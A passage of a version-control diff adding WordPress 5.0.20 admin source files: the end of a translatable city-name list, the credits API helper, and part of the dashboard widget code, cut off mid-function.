+__('Niue', 'continents-cities');
+__('Norfolk', 'continents-cities');
+__('Noumea', 'continents-cities');
+__('Pago Pago', 'continents-cities');
+__('Palau', 'continents-cities');
+__('Pitcairn', 'continents-cities');
+__('Pohnpei', 'continents-cities');
+__('Ponape', 'continents-cities');
+__('Port Moresby', 'continents-cities');
+__('Rarotonga', 'continents-cities');
+__('Saipan', 'continents-cities');
+__('Samoa', 'continents-cities');
+__('Tahiti', 'continents-cities');
+__('Tarawa', 'continents-cities');
+__('Tongatapu', 'continents-cities');
+__('Truk', 'continents-cities');
+__('Wake', 'continents-cities');
+__('Wallis', 'continents-cities');
+__('Yap', 'continents-cities');
Index: /tags/5.0.20/src/wp-admin/includes/credits.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/credits.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/credits.php	(revision 56912)
@@ -0,0 +1,76 @@
+<?php
+/**
+ * WordPress Credits Administration API.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 4.4.0
+ */
+
+/**
+ * Retrieve the contributor credits.
+ *
+ * @since 3.2.0
+ *
+ * @return array|false A list of all of the contributors, or false on error.
+ */
+function wp_credits() {
+	// include an unmodified $wp_version
+	include( ABSPATH . WPINC . '/version.php' );
+
+	$locale = get_user_locale();
+
+	$results = get_site_transient( 'wordpress_credits_' . $locale );
+
+	if ( ! is_array( $results )
+		|| false !== strpos( $wp_version, '-' )
+		|| ( isset( $results['data']['version'] ) && strpos( $wp_version, $results['data']['version'] ) !== 0 )
+	) {
+		$url = "http://api.wordpress.org/core/credits/1.1/?version={$wp_version}&locale={$locale}";
+		$options = array( 'user-agent' => 'WordPress/' . $wp_version . '; ' . home_url( '/' ) );
+
+		if ( wp_http_supports( array( 'ssl' ) ) ) {
+			$url = set_url_scheme( $url, 'https' );
+		}
+
+		$response = wp_remote_get( $url, $options );
+
+		if ( is_wp_error( $response ) || 200 != wp_remote_retrieve_response_code( $response ) )
+			return false;
+
+		$results = json_decode( wp_remote_retrieve_body( $response ), true );
+
+		if ( ! is_array( $results ) )
+			return false;
+
+		set_site_transient( 'wordpress_credits_' . $locale, $results, DAY_IN_SECONDS );
+	}
+
+	return $results;
+}
+
+/**
+ * Retrieve the link to a contributor's WordPress.org profile page.
+ *
+ * @access private
+ * @since 3.2.0
+ *
+ * @param string $display_name  The contributor's display name (passed by reference).
+ * @param string $username      The contributor's username.
+ * @param string $profiles      URL to the contributor's WordPress.org profile page.
+ */
+function _wp_credits_add_profile_link( &$display_name, $username, $profiles ) {
+	$display_name = '<a href="' . esc_url( sprintf( $profiles, $username ) ) . '">' . esc_html( $display_name ) . '</a>';
+}
+
+/**
+ * Retrieve the link to an external library used in WordPress.
+ *
+ * @access private
+ * @since 3.2.0
+ *
+ * @param string $data External library data (passed by reference).
+ */
+function _wp_credits_build_object_link( &$data ) {
+	$data = '<a href="' . esc_url( $data[1] ) . '">' . esc_html( $data[0] ) . '</a>';
+}
Index: /tags/5.0.20/src/wp-admin/includes/dashboard.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/dashboard.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/dashboard.php	(revision 56912)
@@ -0,0 +1,1631 @@
+<?php
+/**
+ * WordPress Dashboard Widget Administration Screen API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Registers dashboard widgets.
+ *
+ * Handles POST data, sets up filters.
+ *
+ * @since 2.5.0
+ *
+ * @global array $wp_registered_widgets
+ * @global array $wp_registered_widget_controls
+ * @global array $wp_dashboard_control_callbacks
+ */
+function wp_dashboard_setup() {
+	global $wp_registered_widgets, $wp_registered_widget_controls, $wp_dashboard_control_callbacks;
+	$wp_dashboard_control_callbacks = array();
+	$screen = get_current_screen();
+
+	/* Register Widgets and Controls */
+
+	$response = wp_check_browser_version();
+
+	if ( $response && $response['upgrade'] ) {
+		add_filter( 'postbox_classes_dashboard_dashboard_browser_nag', 'dashboard_browser_nag_class' );
+		if ( $response['insecure'] )
+			wp_add_dashboard_widget( 'dashboard_browser_nag', __( 'You are using an insecure browser!' ), 'wp_dashboard_browser_nag' );
+		else
+			wp_add_dashboard_widget( 'dashboard_browser_nag', __( 'Your browser is out of date!' ), 'wp_dashboard_browser_nag' );
+	}
+
+	// Right Now
+	if ( is_blog_admin() && current_user_can('edit_posts') )
+		wp_add_dashboard_widget( 'dashboard_right_now', __( 'At a Glance' ), 'wp_dashboard_right_now' );
+
+	if ( is_network_admin() )
+		wp_add_dashboard_widget( 'network_dashboard_right_now', __( 'Right Now' ), 'wp_network_dashboard_right_now' );
+
+	// Activity Widget
+	if ( is_blog_admin() ) {
+		wp_add_dashboard_widget( 'dashboard_activity', __( 'Activity' ), 'wp_dashboard_site_activity' );
+	}
+
+	// QuickPress Widget
+	if ( is_blog_admin() && current_user_can( get_post_type_object( 'post' )->cap->create_posts ) ) {
+		$quick_draft_title = sprintf( '<span class="hide-if-no-js">%1$s</span> <span class="hide-if-js">%2$s</span>', __( 'Quick Draft' ), __( 'Your Recent Drafts' ) );
+		wp_add_dashboard_widget( 'dashboard_quick_press', $quick_draft_title, 'wp_dashboard_quick_press' );
+	}
+
+	// WordPress Events and News
+	wp_add_dashboard_widget( 'dashboard_primary', __( 'WordPress Events and News' ), 'wp_dashboard_events_news' );
+
+	if ( is_network_admin() ) {
+
+		/**
+		 * Fires after core widgets for the Network Admin dashboard have been registered.
+		 *
+		 * @since 3.1.0
+		 */
+		do_action( 'wp_network_dashboard_setup' );
+
+		/**
+		 * Filters the list of widgets to load for the Network Admin dashboard.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param array $dashboard_widgets An array of dashboard widgets.
+		 */
+		$dashboard_widgets = apply_filters( 'wp_network_dashboard_widgets', array() );
+	} elseif ( is_user_admin() ) {
+
+		/**
+		 * Fires after core widgets for the User Admin dashboard have been registered.
+		 *
+		 * @since 3.1.0
+		 */
+		do_action( 'wp_user_dashboard_setup' );
+
+		/**
+		 * Filters the list of widgets to load for the User Admin dashboard.
+		 *
+		 * @since 3.1.0
+		 *
+		 * @param array $dashboard_widgets An array of dashboard widgets.
+		 */
+		$dashboard_widgets = apply_filters( 'wp_user_dashboard_widgets', array() );
+	} else {
+
+		/**
+		 * Fires after core widgets for the admin dashboard have been registered.
+		 *
+		 * @since 2.5.0
+		 */
+		do_action( 'wp_dashboard_setup' );
+
+		/**
+		 * Filters the list of widgets to load for the admin dashboard.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @param array $dashboard_widgets An array of dashboard widgets.
+		 */
+		$dashboard_widgets = apply_filters( 'wp_dashboard_widgets', array() );
+	}
+
+	foreach ( $dashboard_widgets as $widget_id ) {
+		$name = empty( $wp_registered_widgets[$widget_id]['all_link'] ) ? $wp_registered_widgets[$widget_id]['name'] : $wp_registered_widgets[$widget_id]['name'] . " <a href='{$wp_registered_widgets[$widget_id]['all_link']}' class='edit-box open-box'>" . __('View all') . '</a>';
+		wp_add_dashboard_widget( $widget_id, $name, $wp_registered_widgets[$widget_id]['callback'], $wp_registered_widget_controls[$widget_id]['callback'] );
+	}
+
+	if ( 'POST' == $_SERVER['REQUEST_METHOD'] && isset($_POST['widget_id']) ) {
+		check_admin_referer( 'edit-dashboard-widget_' . $_POST['widget_id'], 'dashboard-widget-nonce' );
+		ob_start(); // hack - but the same hack wp-admin/widgets.php uses
+		wp_dashboard_trigger_widget_control( $_POST['widget_id'] );
+		ob_end_clean();
+		wp_redirect( remove_query_arg( 'edit' ) );
+		exit;
+	}
+
+	/** This action is documented in wp-admin/includes/meta-boxes.php */
+	do_action( 'do_meta_boxes', $screen->id, 'normal', '' );
+
+	/** This action is documented in wp-admin/includes/meta-boxes.php */
+	do_action( 'do_meta_boxes', $screen->id, 'side', '' );
+}
+
+/**
+ * Adds a new dashboard widget.
+ *
+ * @since 2.7.0
+ *
+ * @global array $wp_dashboard_control_callbacks
+ *
+ * @param string   $widget_id        Widget ID  (used in the 'id' attribute for the widget).
+ * @param string   $widget_name      Title of the widget.
+ * @param callable $callback         Function that fills the widget with the desired content.
+ *                                   The function should echo its output.
+ * @param callable $control_callback Optional. Function that outputs controls for the widget. Default null.
+ * @param array    $callback_args    Optional. Data that should be set as the $args property of the widget array
+ *                                   (which is the second parameter passed to your callback). Default null.
+ */
+function wp_add_dashboard_widget( $widget_id, $widget_name, $callback, $control_callback = null, $callback_args = null ) {
+	$screen = get_current_screen();
+	global $wp_dashboard_control_callbacks;
+
+	$private_callback_args = array( '__widget_basename' => $widget_name );
+
+	if ( is_null( $callback_args ) ) {
+		$callback_args = $private_callback_args;
+	} else if ( is_array( $callback_args ) ) {
+		$callback_args = array_merge( $callback_args, $private_callback_args );
+	}
+
+	if ( $control_callback && current_user_can( 'edit_dashboard' ) && is_callable( $control_callback ) ) {
+		$wp_dashboard_control_callbacks[$widget_id] = $control_callback;
+		if ( isset( $_GET['edit'] ) && $widget_id == $_GET['edit'] ) {
+			list($url) = explode( '#', add_query_arg( 'edit', false ), 2 );
+			$widget_name .= ' <span class="postbox-title-action"><a href="' . esc_url( $url ) . '">' . __( 'Cancel' ) . '</a></span>';
+			$callback = '_wp_dashboard_control_callback';
+		} else {
+			list($url) = explode( '#', add_query_arg( 'edit', $widget_id ), 2 );
+			$widget_name .= ' <span class="postbox-title-action"><a href="' . esc_url( "$url#$widget_id" ) . '" class="edit-box open-box">' . __( 'Configure' ) . '</a></span>';
+		}
+	}
+
+	$side_widgets = array( 'dashboard_quick_press', 'dashboard_primary' );
+
+	$location = 'normal';
+	if ( in_array($widget_id, $side_widgets) )
+		$location = 'side';
+
+	$priority = 'core';
+	if ( 'dashboard_browser_nag' === $widget_id )
+		$priority = 'high';
+
+	add_meta_box( $widget_id, $widget_name, $callback, $screen, $location, $priority, $callback_args );
+}
+
+/**
+ * Outputs controls for the current dashboard widget.
+ *
+ * @access private
+ * @since 2.7.0
+ *
+ * @param mixed $dashboard
+ * @param array $meta_box
+ */
+function _wp_dashboard_control_callback( $dashboard, $meta_box ) {
+	echo '<form method="post" class="dashboard-widget-control-form wp-clearfix">';
+	wp_dashboard_trigger_widget_control( $meta_box['id'] );
+	wp_nonce_field( 'edit-dashboard-widget_' . $meta_box['id'], 'dashboard-widget-nonce' );
+	echo '<input type="hidden" name="widget_id" value="' . esc_attr($meta_box['id']) . '" />';
+	submit_button( __('Submit') );
+	echo '</form>';
+}
+
+/**
+ * Displays the dashboard.
+ *
+ * @since 2.5.0
+ */
+function wp_dashboard() {
+	$screen = get_current_screen();
+	$columns = absint( $screen->get_columns() );
+	$columns_css = '';
+	if ( $columns ) {
+		$columns_css = " columns-$columns";
+	}
+
+?>
+<div id="dashboard-widgets" class="metabox-holder<?php echo $columns_css; ?>">
+	<div id="postbox-container-1" class="postbox-container">
+	<?php do_meta_boxes( $screen->id, 'normal', '' ); ?>
+	</div>
+	<div id="postbox-container-2" class="postbox-container">
+	<?php do_meta_boxes( $screen->id, 'side', '' ); ?>
+	</div>
+	<div id="postbox-container-3" class="postbox-container">
+	<?php do_meta_boxes( $screen->id, 'column3', '' ); ?>
+	</div>
+	<div id="postbox-container-4" class="postbox-container">
+	<?php do_meta_boxes( $screen->id, 'column4', '' ); ?>
+	</div>
+</div>
+
+<?php
+	wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
+	wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false );
+
+}
+
+//
+// Dashboard Widgets
+//
+
+/**
+ * Dashboard widget that displays some basic stats about the site.
+ *
+ * Formerly 'Right Now'. A streamlined 'At a Glance' as of 3.8.
+ *
+ * @since 2.7.0
+ */
+function wp_dashboard_right_now() {
+?>
+	<div class="main">
+	<ul>
+	<?php
+	// Posts and Pages
+	foreach ( array( 'post', 'page' ) as $post_type ) {
+		$num_posts = wp_count_posts( $post_type );
+		if ( $num_posts && $num_posts->publish ) {
+			if ( 'post' == $post_type ) {
+				$text = _n( '%s Post', '%s Posts', $num_posts->publish );
+			} else {
+				$text = _n( '%s Page', '%s Pages', $num_posts->publish );
+			}
+			$text = sprintf( $text, number_format_i18n( $num_posts->publish ) );
+			$post_type_object = get_post_type_object( $post_type );
+			if ( $post_type_object && current_user_can( $post_type_object->cap->edit_posts ) ) {
+				printf( '<li class="%1$s-count"><a href="edit.php?post_type=%1$s">%2$s</a></li>', $post_type, $text );
+			} else {
+				printf( '<li class="%1$s-count"><span>%2$s</span></li>', $post_type, $text );
+			}
+
+		}
+	}
+	// Comments
+	$num_comm = wp_count_comments();
+	if ( $num_comm && ( $num_comm->approved || $num_comm->moderated ) ) {
+		$text = sprintf( _n( '%s Comment', '%s Comments', $num_comm->approved ), number_format_i18n( $num_comm->approved ) );
+		?>
+		<li class="comment-count"><a href="edit-comments.php"><?php echo $text; ?></a></li>
+		<?php
+		$moderated_comments_count_i18n = number_format_i18n( $num_comm->moderated );
+		/* translators: %s: number of comments in moderation */
+		$text = sprintf( _nx( '%s in moderation', '%s in moderation', $num_comm->moderated, 'comments' ), $moderated_comments_count_i18n );
+		/* translators: %s: number of comments in moderation */
+		$aria_label = sprintf( _nx( '%s comment in moderation', '%s comments in moderation', $num_comm->moderated, 'comments' ), $moderated_comments_count_i18n );
+		?>
+		<li class="comment-mod-count<?php
+			if ( ! $num_comm->moderated ) {
+				echo ' hidden';
+			}
+		?>"><a href="edit-comments.php?comment_status=moderated" aria-label="<?php esc_attr_e( $aria_label ); ?>"><?php echo $text; ?></a></li>
+		<?php
+	}
+
+	/**
+	 * Filters the array of extra elements to list in the 'At a Glance'
+	 * dashboard widget.
+	 *
+	 * Prior to 3.8.0, the widget was named 'Right Now'. Each element
+	 * is wrapped in list-item tags on output.
+	 *
+	 * @since 3.8.0
+	 *
+	 * @param array $items Array of extra 'At a Glance' widget items.
+	 */
+	$elements = apply_filters( 'dashboard_glance_items', array() );
+
+	if ( $elements ) {
+		echo '<li>' . implode( "</li>\n<li>", $elements ) . "</li>\n";
+	}
+
+	?>
+	</ul>
+	<?php
+	update_right_now_message();
+
+	// Check if search engines are asked not to index this site.
+	if ( ! is_network_admin() && ! is_user_admin() && current_user_can( 'manage_options' ) && '0' == get_option( 'blog_public' ) ) {
+
+		/**
+		 * Filters the link title attribute for the 'Search Engines Discouraged'
+		 * message displayed in the 'At a Glance' dashboard widget.
+		 *
+		 * Prior to 3.8.0, the widget was named 'Right Now'.
+		 *
+		 * @since 3.0.0
+		 * @since 4.5.0 The default for `$title` was updated to an empty string.
+		 *
+		 * @param string $title Default attribute text.
+		 */
+		$title = apply_filters( 'privacy_on_link_title', '' );
+
+		/**
+		 * Filters the link label for the 'Search Engines Discouraged' message
+		 * displayed in the 'At a Glance' dashboard widget.
+		 *
+		 * Prior to 3.8.0, the widget was named 'Right Now'.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $content Default text.
+		 */
+		$content = apply_filters( 'privacy_on_link_text' , __( 'Search Engines Discouraged' ) );
+		$title_attr = '' === $title ? '' : " title='$title'";
+
+		echo "<p><a href='options-reading.php'$title_attr>$content</a></p>";
+	}
+	?>
+	</div>
+	<?php
+	/*
+	 * activity_box_end has a core action, but only prints content when multisite.
+	 * Using an output buffer is the only way to really check if anything's displayed here.
+	 */
+	ob_start();
+
+	/**
+	 * Fires at the end of the 'At a Glance' dashboard widget.
+	 *
+	 * Prior to 3.8.0, the widget was named 'Right Now'.
+	 *
+	 * @since 2.5.0
+	 */
+	do_action( 'rightnow_end' );
+
+	/**
+	 * Fires at the end of the 'At a Glance' dashboard widget.
+	 *
+	 * Prior to 3.8.0, the widget was named 'Right Now'.
+	 *
+	 * @since 2.0.0
+	 */
+	do_action( 'activity_box_end' );
+
+	$actions = ob_get_clean();
+
+	if ( !empty( $actions ) ) : ?>
+	<div class="sub">
+		<?php echo $actions; ?>
+	</div>
+	<?php endif;
+}
+
+/**
+ * @since 3.1.0
+ */
+function wp_network_dashboard_right_now() {
+	$actions = array();
+	if ( current_user_can('create_sites') )
+		$actions['create-site'] = '<a href="' . network_admin_url('site-new.php') . '">' . __( 'Create a New Site' ) . '</a>';
+	if ( current_user_can('create_users') )
+		$actions['create-user'] = '<a href="' . network_admin_url('user-new.php') . '">' . __( 'Create a New User' ) . '</a>';
+
+	$c_users = get_user_count();
+	$c_blogs = get_blog_count();
+
+	/* translators: %s: number of users on the network */
+	$user_text = sprintf( _n( '%s user', '%s users', $c_users ), number_format_i18n( $c_users ) );
+	/* translators: %s: number of sites on the network */
+	$blog_text = sprintf( _n( '%s site', '%s sites', $c_blogs ), number_format_i18n( $c_blogs ) );
+
+	/* translators: 1: text indicating the number of sites on the network, 2: text indicating the number of users on the network */
+	$sentence = sprintf( __( 'You have %1$s and %2$s.' ), $blog_text, $user_text );
+
+	if ( $actions ) {
+		echo '<ul class="subsubsub">';
+		foreach ( $actions as $class => $action ) {
+			 $actions[ $class ] = "\t<li class='$class'>$action";
+		}
+		echo implode( " |</li>\n", $actions ) . "</li>\n";
+		echo '</ul>';
+	}
+?>
+	<br class="clear" />
+
+	<p class="youhave"><?php echo $sentence; ?></p>
+
+
+	<?php
+		/**
+		 * Fires in the Network Admin 'Right Now' dashboard widget
+		 * just before the user and site search form fields.
+		 *
+		 * @since MU (3.0.0)
+		 *
+		 * @param null $unused
+		 */
+		do_action( 'wpmuadminresult', '' );
+	?>
+
+	<form action="<?php echo network_admin_url('users.php'); ?>" method="get">
+		<p>
+			<label class="screen-reader-text" for="search-users"><?php _e( 'Search Users' ); ?></label>
+			<input type="search" name="s" value="" size="30" autocomplete="off" id="search-users"/>
+			<?php submit_button( __( 'Search Users' ), '', false, false, array( 'id' => 'submit_users' ) ); ?>
+		</p>
+	</form>
+
+	<form action="<?php echo network_admin_url('sites.php'); ?>" method="get">
+		<p>
+			<label class="screen-reader-text" for="search-sites"><?php _e( 'Search Sites' ); ?></label>
+			<input type="search" name="s" value="" size="30" autocomplete="off" id="search-sites"/>
+			<?php submit_button( __( 'Search Sites' ), '', false, false, array( 'id' => 'submit_sites' ) ); ?>
+		</p>
+	</form>
+<?php
+	/**
+	 * Fires at the end of the 'Right Now' widget in the Network Admin dashboard.
+	 *
+	 * @since MU (3.0.0)
+	 */
+	do_action( 'mu_rightnow_end' );
+
+	/**
+	 * Fires at the end of the 'Right Now' widget in the Network Admin dashboard.
+	 *
+	 * @since MU (3.0.0)
+	 */
+	do_action( 'mu_activity_box_end' );
+}
+
+/**
+ * The Quick Draft widget display and creation of drafts.
+ *
+ * @since 3.8.0
+ *
+ * @global int $post_ID
+ *
+ * @param string $error_msg Optional. Error message. Default false.
+ */
+function wp_dashboard_quick_press( $error_msg = false ) {
+	global $post_ID;
+
+	if ( ! current_user_can( 'edit_posts' ) ) {
+		return;
+	}
+
+	/* Check if a new auto-draft (= no new post_ID) is needed or if the old can be used */
+	$last_post_id = (int) get_user_option( 'dashboard_quick_press_last_post_id' ); // Get the last post_ID
+	if ( $last_post_id ) {
+		$post = get_post( $last_post_id );
+		if ( empty( $post ) || $post->post_status != 'auto-draft' ) { // auto-draft doesn't exists anymore
+			$post = get_default_post_to_edit( 'post', true );
+			update_user_option( get_current_user_id(), 'dashboard_quick_press_last_post_id', (int) $post->ID ); // Save post_ID
+		} else {
+			$post->post_title = ''; // Remove the auto draft title
+		}
+	} else {
+		$post = get_default_post_to_edit( 'post' , true);
+		$user_id = get_current_user_id();
+		// Don't create an option if this is a super admin who does not belong to this site.
+		if ( in_array( get_current_blog_id(), array_keys( get_blogs_of_user( $user_id ) ) ) )
+			update_user_option( $user_id, 'dashboard_quick_press_last_post_id', (int) $post->ID ); // Save post_ID
+	}
+
+	$post_ID = (int) $post->ID;
+?>
+
+	<form name="post" action="<?php echo esc_url( admin_url( 'post.php' ) ); ?>" method="post" id="quick-press" class="initial-form hide-if-no-js">
+
+		<?php if ( $error_msg ) : ?>
+		<div class="error"><?php echo $error_msg; ?></div>
+		<?php endif; ?>
+
+		<div class="input-text-wrap" id="title-wrap">
+			<label class="screen-reader-text prompt" for="title" id="title-prompt-text">
+
+				<?php
+				/** This filter is documented in wp-admin/edit-form-advanced.php */
+				echo apply_filters( 'enter_title_here', __( 'Title' ), $post );
+				?>
+			</label>
+			<input type="text" name="post_title" id="title" autocomplete="off" />
+		</div>
+
+		<div class="textarea-wrap" id="description-wrap">
+			<label class="screen-reader-text prompt" for="content" id="content-prompt-text"><?php _e( 'What&#8217;s on your mind?' ); ?></label>
+			<textarea name="content" id="content" class="mceEditor" rows="3" cols="15" autocomplete="off"></textarea>
+		</div>
+
+		<p class="submit">
+			<input type="hidden" name="action" id="quickpost-action" value="post-quickdraft-save" />
+			<input type="hidden" name="post_ID" value="<?php echo $post_ID; ?>" />
+			<input type="hidden" name="post_type" value="post" />
+			<?php wp_nonce_field( 'add-post' ); ?>
+			<?php submit_button( __( 'Save Draft' ), 'primary', 'save', false, array( 'id' => 'save-post' ) ); ?>
+			<br class="clear" />
+		</p>
+
+	</form>
+	<?php
+	wp_dashboard_recent_drafts();
+}
+
+/**
+ * Show recent drafts of the user on the dashboard.
+ *
+ * @since 2.7.0
+ *
+ * @param array $drafts
+ */
+function wp_dashboard_recent_drafts( $drafts = false ) {
+	if ( ! $drafts ) {
+		$query_args = array(
+			'post_type'      => 'post',
+			'post_status'    => 'draft',
+			'author'         => get_current_user_id(),
+			'posts_per_page' => 4,
+			'orderby'        => 'modified',
+			'order'          => 'DESC'
+		);
+
+		/**
+		 * Filters the post query arguments for the 'Recent Drafts' dashboard widget.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param array $query_args The query arguments for the 'Recent Drafts' dashboard widget.
+		 */
+		$query_args = apply_filters( 'dashboard_recent_drafts_query_args', $query_args );
+
+		$drafts = get_posts( $query_args );
+		if ( ! $drafts ) {
+			return;
+ 		}
+ 	}
+
+	echo '<div class="drafts">';
+	if ( count( $drafts ) > 3 ) {
+		echo '<p class="view-all"><a href="' . esc_url( admin_url( 'edit.php?post_status=draft' ) ) . '">' . __( 'View all drafts' ) . "</a></p>\n";
+ 	}
+	echo '<h2 class="hide-if-no-js">' . __( 'Your Recent Drafts' ) . "</h2>\n<ul>";
+
+	$drafts = array_slice( $drafts, 0, 3 );
+	foreach ( $drafts as $draft ) {
+		$url = get_edit_post_link( $draft->ID );
+		$title = _draft_or_post_title( $draft->ID );
+		echo "<li>\n";
+		/* translators: %s: post title */
+		echo '<div class="draft-title"><a href="' . esc_url( $url ) . '" aria-label="' . esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $title ) ) . '">' . esc_html( $title ) . '</a>';
+		echo '<time datetime="' . get_the_time( 'c', $draft ) . '">' . get_the_time( __( 'F j, Y' ), $draft ) . '</time></div>';
+		if ( $the_content = wp_trim_words( $draft->post_content, 10 ) ) {
+			echo '<p>' . $the_content . '</p>';
+ 		}
+		echo "</li>\n";
+ 	}
+	echo "</ul>\n</div>";
+}
+
+/**
+ * Outputs a row for the Recent Comments widget.
+ *
+ * @access private
+ * @since 2.7.0
+ *
+ * @global WP_Comment $comment
+ *
+ * @param WP_Comment $comment   The current comment.
+ * @param bool       $show_date Optional. Whether to display the date.
+ */
+function _wp_dashboard_recent_comments_row( &$comment, $show_date = true ) {
+	$GLOBALS['comment'] = clone $comment;
+
+	if ( $comment->comment_post_ID > 0 ) {
+
+		$comment_post_title = _draft_or_post_title( $comment->comment_post_ID );
+		$comment_post_url = get_the_permalink( $comment->comment_post_ID );
+		$comment_post_link = "<a href='$comment_post_url'>$comment_post_title</a>";
+	} else {
+		$comment_post_link = '';
+	}
+
+	$actions_string = '';
+	if ( current_user_can( 'edit_comment', $comment->comment_ID ) ) {
+		// Pre-order it: Approve | Reply | Edit | Spam | Trash.
+		$actions = array(
+			'approve' => '', 'unapprove' => '',
+			'reply' => '',
+			'edit' => '',
+			'spam' => '',
+			'trash' => '', 'delete' => '',
+			'view' => '',
+		);
+
+		$del_nonce = esc_html( '_wpnonce=' . wp_create_nonce( "delete-comment_$comment->comment_ID" ) );
+		$approve_nonce = esc_html( '_wpnonce=' . wp_create_nonce( "approve-comment_$comment->comment_ID" ) );
+
+		$approve_url = esc_url( "comment.php?action=approvecomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$approve_nonce" );
+		$unapprove_url = esc_url( "comment.php?action=unapprovecomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$approve_nonce" );
+		$spam_url = esc_url( "comment.php?action=spamcomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$del_nonce" );
+		$trash_url = esc_url( "comment.php?action=trashcomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$del_nonce" );
+		$delete_url = esc_url( "comment.php?action=deletecomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$del_nonce" );
+
+		$actions['approve'] = "<a href='$approve_url' data-wp-lists='dim:the-comment-list:comment-$comment->comment_ID:unapproved:e7e7d3:e7e7d3:new=approved' class='vim-a' aria-label='" . esc_attr__( 'Approve this comment' ) . "'>" . __( 'Approve' ) . '</a>';
+		$actions['unapprove'] = "<a href='$unapprove_url' data-wp-lists='dim:the-comment-list:comment-$comment->comment_ID:unapproved:e7e7d3:e7e7d3:new=unapproved' class='vim-u' aria-label='" . esc_attr__( 'Unapprove this comment' ) . "'>" . __( 'Unapprove' ) . '</a>';
+		$actions['edit'] = "<a href='comment.php?action=editcomment&amp;c={$comment->comment_ID}' aria-label='" . esc_attr__( 'Edit this comment' ) . "'>". __( 'Edit' ) . '</a>';
+		$actions['reply'] = '<a onclick="window.commentReply && commentReply.open(\'' . $comment->comment_ID . '\',\''.$comment->comment_post_ID.'\');return false;" class="vim-r hide-if-no-js" aria-label="' . esc_attr__( 'Reply to this comment' ) . '" href="#">' . __( 'Reply' ) . '</a>';
+		$actions['spam'] = "<a href='$spam_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID::spam=1' class='vim-s vim-destructive' aria-label='" . esc_attr__( 'Mark this comment as spam' ) . "'>" . /* translators: mark as spam link */ _x( 'Spam', 'verb' ) . '</a>';
+
+		if ( ! EMPTY_TRASH_DAYS ) {
+			$actions['delete'] = "<a href='$delete_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID::trash=1' class='delete vim-d vim-destructive' aria-label='" . esc_attr__( 'Delete this comment permanently' ) . "'>" . __( 'Delete Permanently' ) . '</a>';
+		} else {
+			$actions['trash'] = "<a href='$trash_url' data-wp-lists='delete:the-comment-list:comment-$comment->comment_ID::trash=1' class='delete vim-d vim-destructive' aria-label='" . esc_attr__( 'Move this comment to the Trash' ) . "'>" . _x( 'Trash', 'verb' ) . '</a>';
+		}
+
+		$actions['view'] = '<a class="comment-link" href="' . esc_url( get_comment_link( $comment ) ) . '" aria-label="' . esc_attr__( 'View this comment' ) . '">' . __( 'View' ) . '</a>';
+
+		/**
+		 * Filters the action links displayed for each comment in the 'Recent Comments'
+		 * dashboard widget.
+		 *
+		 * @since 2.6.0
+		 *
+		 * @param array      $actions An array of comment actions. Default actions include:
+		 *                            'Approve', 'Unapprove', 'Edit', 'Reply', 'Spam',
+		 *                            'Delete', and 'Trash'.
+		 * @param WP_Comment $comment The comment object.
+		 */
+		$actions = apply_filters( 'comment_row_actions', array_filter($actions), $comment );
+
+		$i = 0;
+		foreach ( $actions as $action => $link ) {
+			++$i;
+			( ( ('approve' == $action || 'unapprove' == $action) && 2 === $i ) || 1 === $i ) ? $sep = '' : $sep = ' | ';
+
+			// Reply and quickedit need a hide-if-no-js span
+			if ( 'reply' == $action || 'quickedit' == $action ) {
+				$action .= ' hide-if-no-js';
+			}
+
+			if ( 'view' === $action && '1' !== $comment->comment_approved ) {
+				$action .= ' hidden';
+			}
+			$actions_string .= "<span class='$action'>$sep$link</span>";
+		}
+	}
+?>
+
+		<li id="comment-<?php echo $comment->comment_ID; ?>" <?php comment_class( array( 'comment-item', wp_get_comment_status( $comment ) ), $comment ); ?>>
+
+			<?php echo get_avatar( $comment, 50, 'mystery' ); ?>
+
+			<?php if ( !$comment->comment_type || 'comment' == $comment->comment_type ) : ?>
+
+			<div class="dashboard-comment-wrap has-row-actions">
+			<p class="comment-meta">
+			<?php
+				// Comments might not have a post they relate to, e.g. programmatically created ones.
+				if ( $comment_post_link ) {
+					printf(
+						/* translators: 1: comment author, 2: post link, 3: notification if the comment is pending */
+						__( 'From %1$s on %2$s %3$s' ),
+						'<cite class="comment-author">' . get_comment_author_link( $comment ) . '</cite>',
+						$comment_post_link,
+						'<span class="approve">' . __( '[Pending]' ) . '</span>'
+					);
+				} else {
+					printf(
+						/* translators: 1: comment author, 2: notification if the comment is pending */
+						__( 'From %1$s %2$s' ),
+						'<cite class="comment-author">' . get_comment_author_link( $comment ) . '</cite>',
+						'<span class="approve">' . __( '[Pending]' ) . '</span>'
+					);
+				}
+			?>
+			</p>
+
+			<?php
+			else :
+				switch ( $comment->comment_type ) {
+					case 'pingback' :
+						$type = __( 'Pingback' );
+						break;
+					case 'trackback' :
+						$type = __( 'Trackback' );
+						break;
+					default :
+						$type = ucwords( $comment->comment_type );
+				}
+				$type = esc_html( $type );
+			?>
+			<div class="dashboard-comment-wrap has-row-actions">
+			<p class="comment-meta">
+			<?php
+				// Pingbacks, Trackbacks or custom comment types might not have a post they relate to, e.g. programmatically created ones.
+				if ( $comment_post_link ) {
+					printf(
+						/* translators: 1: type of comment, 2: post link, 3: notification if the comment is pending */
+						_x( '%1$s on %2$s %3$s', 'dashboard' ),
+						"<strong>$type</strong>",
+						$comment_post_link,
+						'<span class="approve">' . __( '[Pending]' ) . '</span>'
+					);
+				} else {
+					printf(
+						/* translators: 1: type of comment, 2: notification if the comment is pending */
+						_x( '%1$s %2$s', 'dashboard' ),
+						"<strong>$type</strong>",
